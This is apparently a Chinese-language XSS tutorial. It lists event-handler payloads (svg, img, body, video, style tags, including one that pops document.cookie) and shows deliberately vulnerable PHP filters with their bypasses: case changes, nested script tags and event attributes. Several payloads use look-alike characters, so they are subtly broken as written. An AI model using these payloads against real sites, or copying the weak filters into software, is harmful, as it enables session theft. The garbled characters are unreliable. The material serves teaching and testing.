攻击载荷:
以下所有标签的 > 都可以用 // 代替, 例如 #弹出hack #弹出hack #弹出1,对于数字可以不用引号 #弹出cookie #引用外部的xss
svg标签 :
```javascript
<svg onload="alert(1)">
<svg onload="alert(1)"//
标签:
<img src=1 οnerrοr=alert("hack")>
<img src=1 οnerrοr=alert(document.cookie)> #弹出cookie
标签:
<body οnlοad=alert(1)>
<body οnpageshοw=alert(1)>
video标签:
<video οnlοadstart=alert(1) src="/media/hack-the-planet.mp4" />
style标签:
<style οnlοad=alert(1)></style>
可以进行过滤绕过,以达到XSS攻击的目的。
区分大小写过滤标签
//前端 1.html:
<html>
<head lang="en">
<meta charset="UTF-8">
<title>反射型XSS</title>
</head>
<body>
<form action="action4.php" method="post">
<input type="text" name="name" />
<input type="submit" value="提交">
</form>
</body>
</html>
//后端 action4.php:
<?php
$name=$_POST["name"];
if($name!=null){
$name=preg_replace("/<script>/","",$name); //过滤<script>
$name=preg_replace("/<\/script>/","",$name); //过滤</script>
echo $name;
}
?>
绕过技巧:可以使用大小写绕过
不区分大小写过滤标签
//前端 1.html:
<html>
<head lang="en">
<meta charset="UTF-8">
<title>反射型XSS</title>
</head>
<body>
<form action="action4.php" method="post">
<input type="text" name="name" />
<input type="submit" value="提交">
</form>
</body>
</html>
//后端 action4.php:
<?php
$name=$_POST["name"];
if($name!=null){
$name=preg_replace("/<script>/i","",$name); //不区分大小写过滤 <script>
$name=preg_replace("/<\/script>/i","",$name); //不区分大小写过滤 </script>
echo $name;
}
?>
绕过技巧:可以使用嵌套的script标签绕过 <script>
不区分大小写,过滤之间的所有内容
//前端 1.html:
<html>
<head lang="en">
<meta charset="UTF-8">
<title>反射型XSS</title>
</head>
<body>
<form action="action4.php" method="post">
<input type="text" name="name" />
<input type="submit" value="提交">
</form>
</body>
</html>
//后端 action4.php:
<?php
$name=$_POST["name"];
if($name!=null){
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] ); //过滤了<script 及其之间的所有内容
echo $name;
}
?>
虽然无法使用 <script>
标签注入XSS代码,但是可以通过img、body等标签的事件或者 iframe 等标签的 src 注入恶意的 js 代码。
我们可以输入 <img src=1 οnerrοr=alert('hack')> ,然后看看页面的变化